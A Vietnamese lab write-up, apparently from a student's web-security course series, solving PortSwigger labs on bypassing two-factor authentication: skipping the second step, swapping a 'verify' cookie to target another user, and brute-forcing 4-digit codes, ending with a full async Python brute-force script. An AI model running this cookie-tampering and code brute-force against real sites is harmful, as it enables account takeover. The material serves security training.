Chuyển đến nội dung chính
  1. Nghiên cứu & Ghi chép kỹ thuật/

Lỗ hổng xác thực (Xác thực đa yếu tố)

·1082 từ·6 phút
Nguyễn Hoàng Thanh Phong
Tác giả
Nguyễn Hoàng Thanh Phong
Sinh viên năm cuối ngành An toàn thông tin tại Đại học FPT. Chuyên nghiên cứu khai thác lỗ hổng bảo mật Web, kiến trúc bảo mật AWS và các công cụ tự động hóa
Web Security Iaw301 - Bài viết này là một phần của loạt bài.
Phần 4: Bài viết này

Kiến thức cần có
#

  • Xác thực hai yếu tố (2FA) kết hợp giữa “những gì bạn biết” (mật khẩu) và “những gì bạn có” (thiết bị vật lý, ứng dụng tạo mã) giúp tăng cường bảo mật đáng kể so với xác thực đơn yếu tố, tuy nhiên nó vẫn có thể bị bẻ khóa nếu triển khai sai cách (ví dụ: dùng SMS dễ bị đánh chặn/SIM swapping, hoặc dùng Email không phải là 2FA đúng nghĩa). Kẻ tấn công thường khai thác lỗ hổng 2FA qua ba phương thức chính: bỏ qua hoàn toàn (bypass) bước xác thực thứ hai do ứng dụng cấp quyền đăng nhập quá sớm; đánh lừa logic xác thực bằng cách can thiệp vào các tham số định danh (như cookie) ở bước hai để đăng nhập vào tài khoản nạn nhân mà không cần biết mật khẩu của họ; và brute-force trực tiếp các mã xác thực ngắn (4-6 số) nếu hệ thống thiếu cơ chế chống dò quét tự động (rate-limiting) đủ mạnh.

1. Vượt qua xác thực 2FA đơn giản
#

  1. Truy cập trang chủ bài lab: https://[LAB-ID].web-security-academy.net/. Bài lab cung cấp cho chúng ta 2 thông tin:
  • Thông tin đăng nhập của chúng ta: wiener:peter
  • Thông tin đăng nhập của nạn nhân: carlos:montoya
Trang chủ
  1. Thử đăng nhập bằng tài khoản “của chúng ta” trước. Trong thực tế, đây có thể là tài khoản khi chúng ta đăng ký trên trang web.
2FA tài khoản của chúng ta
  1. Qua quan sát url trang web, chúng ta có thể nhận thấy rằng trang chúng ta nhập username:password để đăng nhập là /login còn trang xác thực 2 bước là /login2. Thay vì nhập mã xác thực 2 bước, mình sẽ thử đổi đường dẫn vào trang /my-account xem phản ứng của trang web.
Bỏ qua trang xác thực 2 bước thành công
  1. Trang xác thực bước 2 đã dễ dàng bị bypass, chúng ta sẽ thử với tài khoản của Carlos để hoàn thành bài lab này.
Thành công
  1. Đã đăng nhập thành công và hoàn thành bài lab.

2. Phá vỡ logic xác thực 2FA
#

  1. Truy cập vào trang chủ bài lab: https://[LAB-ID].web-security-academy.net/. Bài lab này cung cấp cho chúng ta 2 thông tin:
  • Thông tin đăng nhập của chúng ta: wiener:peter
  • Thông tin đăng nhập của nạn nhân: carlos
Trang chủ bài lab
  1. Thử đăng nhập bằng tài khoản “của chúng ta” trước để quan sát luồng dữ liệu của web.
2FA của tài khoản
  1. Quan sát thấy, vẫn có vẻ là trang /login đã được chuyển hướng đến trang /login2 để xác thực bước 2. Mình vẫn sẽ thử đổi url sang trang web /my-account xem sao.
Bỏ qua trang xác thực 2 bước thất bại
  1. Có vẻ là phải xác thực thành công bước thứ 2 thì mới được cấp cho cookie đăng nhập. Bây giờ, chúng ta sẽ thử nhập mã code đăng nhập và quan sát luồng dữ liệu xem có lỗ hổng nào không.
Nhập mã xác thực 2 bước để đăng nhập
  1. Theo như quan sát các gói tin thì mình có nhận ra rằng: “Sau khi nhập thành công username:password, bên trong cookie sẽ xuất hiện thêm 1 trường dữ liệu verify=wiener. Cái verify này có thể là cái được dùng để xác định người dùng nào đang yêu cầu mã xác thực để gửi email. Tuy nhiên, mã xác thực 2 FA được sử dụng là 4 ký tự số (0-9) không có thời gian hết hạn hay giới hạn số lần nhập sai, mình sẽ thử brute force mã 2 FA xem sao.
Turbo Intruder
  1. Mã 2FA có thể bị brute force thành công
Brute force mã 2FA thành công
  1. Áp dụng lại các bước trên cho tài khoản của Carlos. Mặc dù, chúng ta không có mật khẩu của Carlos nhưng chúng ta có thể mượn session của Wiener để tạo mã 2FA cho Carlos bằng cách đổi trường verify=carlos.
Tạo mã xác thực 2 bước cho Carlos
  1. Cấu hình turbo intruder để brute force mã 2fa của carlos nhanh hơn intruder mặc định của burp suite community. Ở đây, để brute force mã 2fa của Carlos, ta sẽ mượn POST request của Wiener, thay verify=wiener thành verify=carlos.
Cấu hình Turbo Intruder
  1. Chúng ta đã thành công brute force được mã 2FA của Carlos.
Mã 2FA của Carlos
  1. Chúng ta cũng sẽ dùng mã 2FA trên để đăng nhập vào tài khoản của Carlos không cần mật khẩu.
Gửi mã 2FA của Carlos để lấy phiên đăng nhập
  1. Chuột phải vào Request, chọn Request in browser -> In current browser session, sau đó paste link vảo browser đang bật proxy burp suite (ở đây là Firefox).
Thành công
  1. Đã đăng nhập vào tài khoản của Carlos thành công. Tuy nhiên, phần bày mình cũng có viết 1 tool tự động dò mã 2fa của carlos tự động bằng python.
```python
import asyncio
from urllib.parse import urljoin, urlparse
from curl_cffi import requests
from curl_cffi.requests import AsyncSession, Session

TIMEOUT = 10

class BruteForceMFA:
    def __init__(self, base_url:str, login_url: str, mfa_len: int):
        self.base_url = base_url
        self.login_url = login_url
        self.mfa_url: str
        self.valid_username = 'wiener'
        self.valid_password = 'peter'
        self.cookies: requests.Cookies
        self.mfa_code: None
        self.mfa_len = mfa_len
        self.lock = asyncio.Lock()
        self.event = asyncio.Event()
        self.CONCURRENCY = 10

    async def __try_code(self, session: AsyncSession, queue: asyncio.Queue):
        while not self.event.is_set():
            try:
                code_int = queue.get_nowait()
            except asyncio.QueueEmpty:
                return
            mfa_code = f'{code_int:0{self.mfa_len}}'
            try:
                if self.event.is_set(): return
                resp = await session.post(self.mfa_url, data={'mfa-code':mfa_code}, allow_redirects=False)
                if resp.status_code == 302:
                    self.mfa_code = mfa_code
                    self.event.set()
                    # await session.get(urljoin(self.base_url, resp.headers['Location'])) # Bỏ comment dòng này nếu muốn tool tự động dùng mã 2FA tìm được để đăng nhập
                    return
                if (code_int/(10**self.mfa_len)*100)%0.01 == 0:
                    print(f"\r[*] Checked up to {code_int/(10**self.mfa_len)*100}%...", end='')
            except Exception as e:
                print(f"[ERROR] Try code failed: {e}")
                pass
            finally:
                queue.task_done()
    
    async def __crack_mfa(self):
        print(f"\n=== Cracking MFA Code ({0:0{self.mfa_len}} - {10**self.mfa_len-1}) ===")
        queue = asyncio.Queue()
        for i in range(10**self.mfa_len):
            queue.put_nowait(i)
        print(f"[*] Loaded {queue.qsize()} codes into queue.")
        print(f"[*] Spawning {self.CONCURRENCY} workers...")
        async with AsyncSession(impersonate="chrome142", cookies=self.cookies) as session:
            workers = []
            for _ in range(self.CONCURRENCY):
                task = asyncio.create_task(self.__try_code(session, queue))
                workers.append(task)
            try:
                await asyncio.gather(*workers, return_exceptions=True)
            finally:
                for w in workers:
                    if not w.done():
                        w.cancel()
                await asyncio.sleep(0.1) 
        if self.mfa_code:
            print(f"\n[OK] 2FA bypass complete. Code: {self.mfa_code}")

        else:
            print(f"\n[FAIL] Bypass failed.")
    
    def __intercept_cookies(self):
        print("=== Bypass password authentication ===")
        print(f"[*] Login with authorized account: {self.valid_username} - {self.valid_password}")
        with Session(impersonate="chrome142") as session:
            try:
                payload = {
                    'username': self.valid_username,
                    'password': self.valid_password
                }
                resp = session.post(self.login_url, data=payload, allow_redirects=False)
                if 'Location' in resp.headers:
                    self.mfa_url = urljoin(self.base_url, resp.headers.get('Location'))
                    print (f"[+] MFA Page Found: {self.mfa_url}")
                else:
                    print(f"[WARN] Failed to find MFA Redirection.")
                    return False
                if 'verify' in resp.cookies:
                    del session.cookies['verify']
                domain = urlparse(self.base_url).hostname
                session.cookies.set('verify', 'carlos', domain, path="/")
                session.get(self.mfa_url)
                self.cookies = session.cookies
                print(f"Cookies: session: {self.cookies.get('session')}; verify: {self.cookies.get('verify')}")
                return True
            except Exception as e:
                print(f"[ERROR] Intercept failed: {e}")
                return False
    
    def start(self):
        if self.__intercept_cookies():
            asyncio.run(self.__crack_mfa())
            
if __name__ == "__main__":
    base_url = input("Enter your lab's base url: ")
    login_url = urljoin(base_url, "/login")
    bot = BruteForceMFA(base_url, login_url, 4)
    bot.start()
```
  1. Kết quả sau khi chạy tool
Tool Output
Tool thành công
Web Security Iaw301 - Bài viết này là một phần của loạt bài.
Phần 4: Bài viết này